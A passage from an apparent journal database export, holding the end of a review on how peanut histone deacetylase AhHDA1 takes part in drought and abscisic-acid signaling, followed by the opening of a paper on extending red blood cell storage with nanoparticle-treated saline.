reduces plant growth and crop productivity. Peanut (<em>Arachis hypogaea</em>), which is an important cultivated source of edible oil, is typical in this regard, since local drought stress can severely limit its yield. The diverse strategies developed by plants to cope with drought stress [1] centre around abscisic acid (ABA), a key plant stress-signaling hormone that modulates physiological responses [2].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Many processes are involved in the biosynthesis of ABA, but the oxidative cleavage of cis-epoxy carotenoids by 9-cis-epoxy carotenoid dioxygenase (NCED) is considered to be the rate-limiting step [3]. During drought stress, drought-resistance genes are regulated by components of the ABA signaling pathway in plants and this regulation involves a number of transcription factors, including ABA-responsive element (ABRE) binding proteins [4]. In peanut, we found that AhAREB1, an ABRE-binding protein [5], was the key factor in AhNCED1 feedback regulation. AhNCED1 expression is partly inhibited by a complex of AhAREB1 and another transcription factor, AhNAC2. ABA enhances both the synthesis and degradation rate of AhNAC2, but slows AhAREB1 degradation, resulting in its accumulation. Accordingly, the AhAREB1/AhNAC2 protein complex functions as a negative feedback regulator of drought-induced ABA biosynthesis in peanut [5].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The post translational modification of histones is a common means of epigenetic modification of chromatin that can involve acetylation and ubiquitination of lysine residues, methylation of arginine, and phosphorylation of serine or threonine [6,7]. This regulates the expression of genes within the modified chromatin, and can, for example, affect plant growth and development [8,9]. Histone acetylation is controlled by histone acetyl transferases (HATs) and histone deacetylases (HDAs or HDACs).&nbsp; In peanut, we have characterised <em>A. hypogaea</em> histone deacetylase1 (AhHDA1) and have demonstrated its involvement in the epigenetic regulation of the drought stress response [10]. While there are very few reports in any crop species on the involvement of chromatin deacetylation in the response to osmotic stress, and in particular ABA signal transduction, we and others have begun to explore these relationships in peanut and we present a review of some of the recent findings below.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.&nbsp;Water stress and ABA affect the acetylation of histone H3 in peanut seedlings</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Histone acetylation is an important epigenetic modification, which regulates gene activity in response to stress. Based on sequence similarity, substrate specificity, and cofactor requirement, plant HDACs are classified into three distinct families, namely RPD3/HDA1-likeHDAs, SIR2-like HDAs, and HD2 proteins [11-14]. These HDAs are involved in plant development or the response to environmental stress. Although there has been considerable progress in understanding histone acetylation in other plants, there was no information in peanut prior to our work. We first isolated and characterized <em>AhHDA1</em>, anRPD3/HDA1-like super family histone deacetylase (HDA) gene from <em>A. hypogaeaL</em>, and found this gene to be up regulated by PEG-induced water limitation and ABA signaling. AhHDA1 possesses HDAC activity and is very similar to the Arabidopsis HDAC, AtHDA6 [10]. .<em>AhHDA1 </em>transcript levels are enhanced following treatment with PEG, ABA, and the specific HDAC inhibitor trichostatin A (TSA), indicating that AhHDA1 might be involved in the epigenetic regulation of stress resistance genes that comprise the responses to water stress and ABA [10]. A detailed examination of the effect of drought and ABA on chromatin showed an increase in histone H3 acetylation on the lysine residues at positions 9 and 14, respectively. The drought-resistance-related genes <em>AhAREB1</em>, <em>AhDHN2 </em>and <em>AhNCED1 </em>were also induced to various degrees by PEG and ABA treatment, while <em>AhAREB1</em>, <em>AhDREB1</em>, <em>AhDHN2 </em>and <em>AhNCED1 </em>chromatin was significantly enriched in H3K14ac by 100 &micro;&Mu; ABA treatment [10]. These results indicate that drought and ABA might augment the expression of drought-resistance-related genes by increasing histone acetylation in key chromatin domains. Regions of the <em>AhNCED1 </em>promoter are increasingly enriched with AhHDA1 protein when peanut leaves were treated with 20% PEG or 100 &micro;MABA [15]. Furthermore, AhHDA1 limits induction of their porter construct <em>pAhNCED1::LUC </em>by ABA. The results indicate that AhHDA1 is involved in ABA synthesis feedback inhibition by limiting <em>AhNCED1 </em>expression in response to increased ABA levels. The fluorescence intensity of plants transformed with <em>pAhAREB1: :LUC </em>is significantly reduced when co-transformed with <em>35S::AhHDA1</em>, and this reduction is enhanced by treatment with 10 &micro;MABA [10]. These results indicate that AhHDA1 suppresses the transcription of the <em>AhAREB1 </em>and <em>AhSnRK1-like </em>genes, and that exogenous ABA application facilitates this effect of AhHDA1.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">AhHDA1 participates in ABA signal transduction by negatively regulating the promoter activity of AhAREB1 and AhSnRK1-like. We also found that AhHDA1 may change the cell shape and development level by influencing the related genes on biosynthetic pathways, which lead to the weaker drought resistance of over-expressed hairy roots; AhHDA1 can interact with AhAREB1 and negatively regulate the AhAREB1 and AhSnRK1- like genes, which are critical factors in the ABA signal pathway, and which participate in AhNCED1 transcription feedback during drought stress in peanut. This research highlights the biological significance of AhHDA1 in the response to drought and ABA signals, and lays the foundation for further detailed investigations into AhHDA1 function.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><em>5. AhDREB1 </em>expression, which is affected by histone acetylation, increases abscisic acid sensitivity and tolerance to water stress</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The growth and development of plants can be optimized by regulating the expression of numerous stress responses via two main pathways, ABA-dependent and ABA-independent [16]. However, some researchers suggest that the two types of signaling pathway may be interdependent due to cross-talk between them [17]. In the ABA-independent pathway, dehydration-responsive element binding protein (DREB) regulates many drought-responsive genes, such as <em>RD29A</em>, <em>P5CS1 </em>and <em>SODs</em>, by binding to dehydration responsive element (DRE) motifs, which comprise nine conserved bases (TACCGACAT), in their promoter regions. This activates the respective genes and thereby increases the plant&rsquo;s drought resistance [18,19].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Acetyl groups are removed from acetylated histones by HDACs, whose activity is generally related to transcriptional repression and gene silencing [20]. As a molecular inhibitor of HDAC, TSA cause transient increases in the acetylation of histones H2B, H4 and H3 in chromatin [21]. We isolated a full-length coding sequence of the AP2/ERF family gene AhDREB1 from peanut and found that exogenous ABA and PEG induce AhDREB1 expression [22]. TSA can significantly up regulate the expression of AhDREB1, implying that histone acetylation might be involved in its transcriptional regulation. Consistent with these results, we found that, following TSA treatment, the levels of H3ac were significantly increased in the P4 and P5 regions of AhDREB1 chromatin [22]. Clearly, therefore histone acetylation is involved in the transcriptional regulation of AhDREB1.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Many studies have demonstrated that histone acetylation is important for the adaptation of plants to abiotic stress. For example, in Arabidopsis, the <em>RD29A</em>, <em>RD29B</em>, <em>RD20 </em>and <em>RAP2.4</em> genes are induced by drought, and this correlates with elevated levels of H3K4me3 and H3K9acin the histones associated with the coding regions of these genes [23]. In maize, expression of the cold-induced ZmDREB1gene is increased by HDAC activity, and this then affects plant tolerance to cold stress [24]. During PEG and ABA treatment, the acetylation of H3K9 and K3K14 is increased in <em>A.hypogaea </em>[10], but by modulating the histone acetylation levels of stress-responsive genes, AtHDA9 negatively affects plant sensitivity to drought and salt stresses in <em>A. thaliana </em>[25]. In Arabidopsis plants over expressing <em>AhDREB1</em>, both ABA levels and ABA sensitivity are increased, both of which affect the ABA signaling pathway and ultimately cause an increase in expression of the downstream drought stress-related genes<em>RD29A</em>, <em>P5CS1</em>, <em>P5CS2 </em>and <em>NCED1</em> [22]. Thus, in Arabidopsis, AhDREB1can enhance tolerance to drought via the ABA-dependent pathway. The involvement of histone acetylation in this effect is demonstrated by TSA treatment, which promotes <em>AhDREB1</em> transcription concomitant with enrichment of H3acin regions of the <em>AhDREB1 </em>gene [22]. In conclusion, the onset of water stress leads to an increase in H3ac levels, which regulate <em>AhDREB1 </em>transcription, resulting in improved drought resistance of the plant. This is the first report that histone acetylation is involved in the transcriptional regulation of a <em>DREB </em>subfamily gene in peanut.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6. AhGLK, which interacts with AhHDA1, participates in the drought response and leaf growth after rehydration</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Using a yeast two-&shy;?hybrid approach, AhHDA1 was shown to interact with AhGLK, a peanut homologue of Golden2-&shy;?like transcription factors found in many land plants. Thus, AhGLK contains a MYB domain that shows 60% identity to that of GsGLK, a counterpart in <em>Glycine soja</em>.&#39; Interaction between AhHDA1 and AhGLK was confirmed by GST pull-down and bimolecular fluorescence complementation experiments [26]. AhGLK is located in the nucleus and, like other GLK family members, is a transcription factor associated with chlorophyll synthesis. Tissue analysis showed that AhGLK accumulates mainly in leaves, and its expression is down regulated by treatment with 30% PEG. Therefore, AhGLK participates in the drought response and it is also involved in the process of leaf growth after rehydration.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">AhGLK1 affects chlorophyll biosynthesis and photosynthesis in peanut leaves during recovery from drought by regulating AhPORA (which encodes a key enzyme in chlorophyll biosynthesis) and AhCAB (which encodes a chlorophyll A/B binding protein). AhHDA1 has an antagonistic effect on this process, possibly by interacting with AhGLK1under drought conditions to reduce the expression of <em>AhPORA </em>and <em>AhCAB</em>. During recovery from water limitation, AhHDA1 levels decrease while AhGLK1 levels increase. AhGLK1 then enhances the expression of <em>AhPORA </em>and <em>AhCAB </em>by binding to their promoters.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>7.Conclusions</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">AhHDA1 suppresses the transcription of the <em>AhAREB1 </em>and <em>AhSnRK1-like </em>genes, and that exogenous ABA application facilitates this effect of AhHDA1. The involvement of histone acetylation in this effect is demonstrated by TSA treatment, which promotes <em>AhDREB1</em> transcription concomitant with enrichment of H3acin regions of the <em>AhDREB1</em>gene. AhGLK1 is regulated by itself and activates <em>AhCAB </em>and <em>AhPORA </em>expression via binding to their promoters, while AhHDA1 may attenuate the transcriptional activity of AhGLK1 by interacting with AhGLK1 (Figure 1).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>8. Perspective</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Recent research shows that AhHDA1, which maintains a high level of expression and activity during drought stress and ABA treatment, is likely involved in feedback regulation of the ABA signaling pathway. High <em>AhHDA1 </em>expression levels may inhibit cascade amplification of the ABA signaling pathway, and then maintain its dynamic balance. Adjusting the key components of ABA signaling regulates the sensitivity of plants to ABA and one means of achieving this is by histone acetylation / deacetylation modification of relevant genes. The consequent regulation of downstream gene expression can modulate the stress tolerance of plants. Furthermore, AhHDA1 participates in the regulation of drought stress memory [27]. Future studies will focus on identifying the most important genes in both the ABA-dependent and ABA-independent signaling pathways that undergo specific histone acetylation in response to water limitation and ABA treatment. Such studies should help elucidate the molecular mechanisms of epigenetic regulation of the drought stress response by histone acetylation in peanut.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>9. Author Contributions</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Both BH and LL wrote the article.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>10. Funding</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The work described in this review was funded by the National Natural Science Foundation of China (grantno.31471422, awarded to LL), the Natural Science Foundation of Guangdong Province (grantno.2018A131303629, awarded to BH), and the Science and Technology Project of Guangzhou (grant n.o 201804010158, awarded to BH).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>11. Conflict of Interest Statement</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The authors declare that the research was conducted in the absence of any commercial or financial relationships that could be construed as a potential conflict of interest.</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1007/s00299-005-0944-x\">Jung YC, Lee HJ, Yum SS, Soh WY, Cho DY, et al. (2005) Drought inducible but ABA independent thaumatin like protein from carrot (<em>Daucuscarota L.</em>). Plant Cell Rep 24: 366-373.</a> </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.plaphy.2018.01.010\">Gonzalez-Villagra J, Rodrigues-Salvador A, Nunes-Nesi A, Cohen JD, Reyes-Diaz MM (2018) Age-related mechanism and its relationship with secondary metabolism and abscisic acid in Aristoteliachilensis plants subjected to drought stress. Plant Physiol Biochem 124: 136-145.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1104/pp.113.231720\">Maruyama K, Urano K, Yoshiwara K, Morishita Y, Sakurai N, et al. (2014) Integrated Analysis of the Effects&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; of Cold and Dehydration on Rice Metabolites, Phytohormones, and Gene Transcripts. Plant Physiol 164: 1759-&nbsp;&nbsp;&nbsp;&nbsp; 1771.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1007/s10265-011-0412-3\">Fujita Y, Fujita M, Shinozaki K, Yamaguchi-Shinozaki K (2011) ABA-mediated transcriptional regulation in response to osmotic stress in plants. J Plant Res 124: 509-525.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1038/srep37943\">Liu S, Li MJ, Su LC, Ge K, Li LM, et al. (2016) Negative feedback regulation of ABA biosynthesis in peanut (<em>Arachis hypogaea</em>): a transcription factor complex inhibits AhNCED1 expression during water stress. Sci Reports. 6: 37943.</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1038/nature05917\">Henderson IR, Jacobsen SE (2007) Epigenetic inheritance in plants. Nature<em> </em>447: 215-424.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1111/j.1365-3040.2009.02076.x\">Kim JM, To TK, Nishioka T, Seki M (2010) Chromatin regulation functions in plant abiotic stress responses. Plant Cell Environ. 33: 604-611.</a> </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1105/tpc.114.130781\">Lopez-Gonzalez L, Mouriz A, Narro-Diego L, Bustos R, Mart&iacute;nez-Zapater JM, et al. (2014) Chromatin-dependent repression of the Arabidopsis floral integrator genes involves plant specific PHD-containing proteins. Plant Cell. 26: 3922-3938.</a> </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1371/journal.pone.0084925\">Zhang Q, Lei X, Lu H (2014) Alterations of epigenetic signatures in hepatocyte nuclear factor 4alpha deficient mouse liver determined by improved ChIP-qPCR and (h) MeDIP-qPCR assays. PLoS ONE<em>. </em>9: e84925.</a> </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.3389/fpls.2015.00512\">Su LC, Deng B, Liu S, Li LM, Hu B, et al. (2015) Isolation and characterization of an osmotic stress and ABA induced histone deacetylase in <em>Arachis hypgaea</em>. Frontiers in Plant Sc<em>. </em>6: 512.</a> </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1093/nar/gkf660\">Pandey R, M&uuml;ller A, Napoli CA, Selinger DA, Pikaard CS, et al. (2002) Analysis of histone acetyltransferase and histone deacetylase families of Arabidopsis thaliana suggests functional diversification of chromatin modification among multi cellular eukaryotes. Nucleic Acids Res<em>. </em>30: 5036-5055.</a> </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.tplants.2003.12.007\">Loidl P (2004) A plant dialect of the histone language. Trends Plant Sci. 9: 84-90.</a> </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1038/sj.cr.7310059\">Fong PM, Tian L, Chen ZJ (2006) Arabidopsis thaliana histone deacetylase1 (AtHD1) is localized in </a></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:.25in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1038/sj.cr.7310059\">euchromatic regions and demonstrates histone deacetylase activity in vitro. Cell Res.<em> </em>16: 479-488.</a> </span></p>\r\n\r\n<ol start=\"14\">\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1371/journal.pone.0066807\">Zhong X, Zhang H, Zhao Y, Sun Q, Hu Y, et al. (2013) The rice NAD (+)-dependent histone deacetylase OsSRT1 targets preferentially to stress and metabolism-related genes and transposable elements. PLoS ONE<em>. </em>8: e66807.</a> </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.5897/ajb11.3844\">Su LC, Liu X, Chen YP, Li L (2012) Isolation of AhDHNs from <em>Arachis hypogaea L</em> and evaluation of AhDHNs expression under exogenous Abscisic acid (ABA) and water stress. Afr J Biotechnol<em> </em>11: 11221-11229.</a> </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.tplants.2004.12.012\">Yamaguchi-Shinozaki K, Shinozaki K (2005) Organization of cis-acting regulatory elements in osmotic- and cold-stress-responsive promoters. Trends Plant Sci<em>. </em>10: 88-94.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1104/pp.110.154617\">Lee SJ, Kang JY, Park HJ, Kim MD, Bae MS, et al. (2010) DREB2C interacts with ABF2, a bZIP protein regulating abscisic acid-responsive gene expression, and its over expression affects abscisic acid sensitivity. Plant Physiol 153: 716-727.</a> </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/Ari/v\">Yamaguchi-Shinozaki K, Shinozaki K (1994). A novel cis-acting element in an Arabidopsis gene is involved in responsiveness to drought, low-temperature, or high-salt stress. Plant Cell<em>. </em>6: 251-264.</a> </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.plantsci.2017.10.006\">Qin L, Wang L, Guo Y, Li Y, Umut H, et al. (2017) An ERF transcription factor from Tamarix hispida, ThCRF1, can adjust osmotic potential and reactive oxygen species scavenging capability to improve salt tolerance. Plant Sci<em>. </em>265: 154-166.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Courey AJ, Jia S (2001) Transcriptional repression: The long and the short of it. Genes Dev<em>. </em>15: 2786-2796. </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.bbagrm.2011.02.005\">Waterborg JH (2011) Plant histone acetylation: In the beginning BBA-Gene Regul Mech<em> </em>1809: 353-359.</a> </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.3390/ijms19051441\">Zhang BH, Su LC, Hu B, Li L (2018) Expression of <em>AhDREB1</em>, an AP2/ERF Transcription Factor Gene from Peanut, Is Affected by Histone Acetylation and Increases Abscisic Acid Sensitivity and Tolerance to Osmotic Stress in Arabidopsis. Int J Mol Sci<em> </em>19: 1441.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1093/pcp/pcn133\">Kim JM, To TK, Ishida J, Morosawa T, Kawashima M, et al. (2008) Alterations of lysine modifications on the histone H3 N-tail under drought stress conditions in <em>Arabidopsis thaliana</em>. Plant Cell Physiol<em>. </em>49: 1580-1588.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1371/journal.pone.0022132\">Hu Y, Zhang L, Zhao L, Li J, He S, et al. (2011) Trichostatin A selectively suppresses the cold-induced transcription of the <em>ZmDREB1 </em>gene in maize. PLoS ONE<em>. </em>6: e22132.</a> </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1093/jxb/erv562\">Zheng Y, Ding Y, Sun X, Xie S, Wang D, et al. (2016) Histone deacetylase HDA9 negatively regulates salt and drought stress responsiveness in <em>Arabidopsis</em>. J Exp Bot 67: 1703-1713.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.3724/sp.j.1006.2017.00218\">Li MJ, Su LC, Liu S, Li XY, Li L (2017) Screening of AhHDA1 Interacting-Protein AhGLK and Characterization in Peanut (<em>Arachishypogaea L.</em>). Acta Agronomica Sinica 43: 218-225.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Chen RQ, Shu W, Ge K, Hu B, Li L (2017) Effect on growth and expressions of stress-related genes in peanut under drought stress training. Plant Physiology Journal 53: 1921-1927. </span></li>\r\n</ol>\r\n','<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/141823cca.png\" style=\"height:275px; width:628px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 1:</strong> AhHDA1 is involved in the epigenetic regulation of the drought stress response</span></span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Li L and Hu B (2019) <em>Arachis hypogaea</em> histone deacetylase1 (Ahhda1) is involved in the Epigenetic Regulation of the Drought Stress Response. Curr Trends Biotechnol Biochem: CTBB-100001</span></span></p>\r\n','','1549988249.pdf',NULL,'1549988249.jpg','',0,1,'2019-02-12 21:47:28','2019-02-13 14:43:40',1),(37,16,'20','2019','Stabilization of Molecular Structure Membranes of Preserved Rbcs by Means Nanotechnology','Andrey Belousov1,2,3*, Elena Malygon2,3, Vadim Yavorskiy2,3 and Ekateryna Belousova1','Research Article','Stabilization-of-Molecular-Structure-Membranes-of-Preserved-Rbcs-by-Means-Nanotechnology','Stabilization of Molecular Structure Membranes-of-Preserved-Rbcs-by-Means-Nanotechnology','Stabilization-of-Molecular-Structure-Membranes-of-Preserved Rbcs by Means Nanotechnology','Stabilization-of-Molecular-Structure-Membranes-of-Preserved-Rbcs-by-Means-Nanotechnology','<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:20px\"><strong>Annals of Medical &amp; Surgical Case Reports</strong></span></span></p>\r\n\r\n<p style=\"margin-left:0in; text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:18px\"><strong>Stabilization of Molecular Structure Membranes of Preserved Rbcs by Means Nanotechnology</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Andrey Belousov<sup>1,2,3<span style=\"color:red\">*</span></sup>, Elena Malygon<sup>2,3</sup>, Vadim Yavorskiy<sup>2,3</sup> and Ekateryna Belousova<sup>1</sup></strong></span></p>\r\n\r\n<p style=\"margin-left:0in; margin-right:13.8pt\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>1</sup>Laboratory of Applied Nanotechnology of Belousov (UA)</span></p>\r\n\r\n<p style=\"margin-left:0in; margin-right:13.8pt\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>2</sup>Kharkov Medical Academy of Postgraduate Education (UA)</span></p>\r\n\r\n<p style=\"margin-left:0in; margin-right:13.8pt\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>3</sup>Kharkov Regional Center of Blood Service (UA)</span></p>\r\n\r\n<p style=\"margin-left:0in; margin-right:13.8pt\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><sup><span style=\"color:red\">*</span></sup>Corresponding author: </strong>Andrey Belousov, professor of anesthesiologist and resuscitator,&nbsp; Laboratory of applied nanotechnology of&nbsp; Belousov, Ukraine Tel: +380509151889, Email: <a href=\"mailto:an.belousov2012@ukr.net\">an.belousov2012@ukr.net</a></span></p>\r\n\r\n<p style=\"margin-left:0in; margin-right:13.8pt\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Belousov A, Malygon E, Yavorskiy V, Belousova E (2019) Stabilization of Molecular Structure Membranes of Preserved Rbcs by Means Nanotechnology. Ann Med &amp; Surg Case Rep: AMSCR: 100001.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received date: </strong>28 January, 2019;<strong> Accepted Date</strong>: 06 February, 2019;<strong> Published Date: </strong>13 February, 2019</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1. Abstract </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">This study was devoted to the learning changes in the structure of erythrocyte membranes at the level of molecular bonds during their storage at a positive temperature by means method of infrared spectroscopy (IR). Objects of research were red blood cells (RBCs) into bags containing preservative CPD and RBCs into bags containing preservative CPDA-1. As membrane protective used saline which had previously been treated with magnetite nanoparticles (ICNB) by the Belousov&#39;s method. The physiological solution that was treated with nanoparticles was added to the preserved RBCs according to the developed method. Sample of control was the addition of intact saline. Analysis of changes occurring in the IR spectra of control and test samples in different variants of preservative media showed that in the test where nanotechnology was used were significant inhibit the process of destruction of the erythrocyte membrane structure in suspensions. The process of destruction of the membrane structure of red blood cells occurs on seven days later than in the control. In addition, in the test in the CPDA-1 medium in comparison with control there is no complete destruction of the structure of lipids and proteins that are part of RBCs. In general, the results clearly showed that the presented method of application of nanotechnology significantly increases the storage time of RBCs in different versions of preservatives due to mechanisms to reduce violations of the molecular structure of proteins and lipids in the erythrocyte membranes. Presented method of application of nanotechnology is not only safe for use in practice in the Blood Service, Transfusiology and Hematology, but also is the most promising innovation project.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">In general, the results clearly showed that the presented method of application of nanotechnology significantly increases the storage time of RBCs in different versions of preservatives due to mechanisms to reduce violations of the molecular structure of proteins and lipids in the erythrocyte membranes. Presented method of application of nanotechnology is not only safe for use in practice in the Blood Service, Transfusiology and Hematology, but also is the most promising innovation project.</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Keywords:</strong> Magnetite nanoparticles (ICNB); Method of infrared spectroscopy (IR); Molecular structure; Nanotechnology; Preserved red blood cells (RBCs); Storage time of &nbsp;RBCs</span></p>\r\n\r\n<p style=\"margin-left:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3. Actuality</strong></span></p>\r\n\r\n<p style=\"margin-left:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For a long time RBCs components have been prepared as concentrates. The concentrates of RBCS are suspended in nutrient additive solution. This preserves and extends the shelf-life of their, allowing up to 6-7 weeks of refrigerated storage [1]. In during storage RBCs undergo progressive accumulation of physicochemical changes [2,3]. At now, clinical studies have identified that RBCs transfusion is risk factor for increased morbidities and mortalities in certain groups of patients reviewed in [4-6]. Some of these studies have shown that transfusion of older preserved RBC causes more complications in patients [6]. To address these problems, there is renewed interest in finding ways to mitigate the adverse effects of blood storage. This will improve the quality, efficiency and safety of RBC components. Nevertheless, slower progress is being made in finding ways to deter the detrimental effects of the RBCs storage lesion [7].</span></p>\r\n\r\n<p style=\"margin-left:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Despite the RBCs having been a favorite experimental model for cellular biologists and biochemists, RBCs storage research has repeatedly demonstrated that a lot of fundamental biology about RBCs is still not well understood. The complexity of the inter-relationship between RBCs biochemistry, cytoskeletal structure and membrane properties have made it difficult to predict how RBCs will respond to different storage conditions. Exposure of RBCs to non-physiological storage environments has pointed to the existence of previously unknown biochemical mechanisms in RBCs, including apoptotic-like processes, ion and osmotic channels that behave differently than expected, exposure of new or altered receptors possibly due to oxidative and/or protease/glycosidase activities or altered senescence [8-11].</span></p>\r\n\r\n<p style=\"margin-left:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The advantages obtained by improving the quality of RBC components more than justify any real or perceived inconvenience associated with the adjustment of their processing procedures or additional processing costs due to the introduction of new generation RBCs additive solutions.</span></p>\r\n\r\n<p style=\"margin-left:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Currently, nanotechnology opens up new prospects for the study of not only the mechanisms of cell damage, but also the development of effective and safe methods of cells storage outside the body.</span></p>\r\n\r\n<p style=\"margin-left:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In Ukraine, the first biocompatible magnetite nanoparticles for medical use were manufactured and patented by Andrey N. Belousov in 1998. These are intracorporeal nanobiocorrector (ICNB), 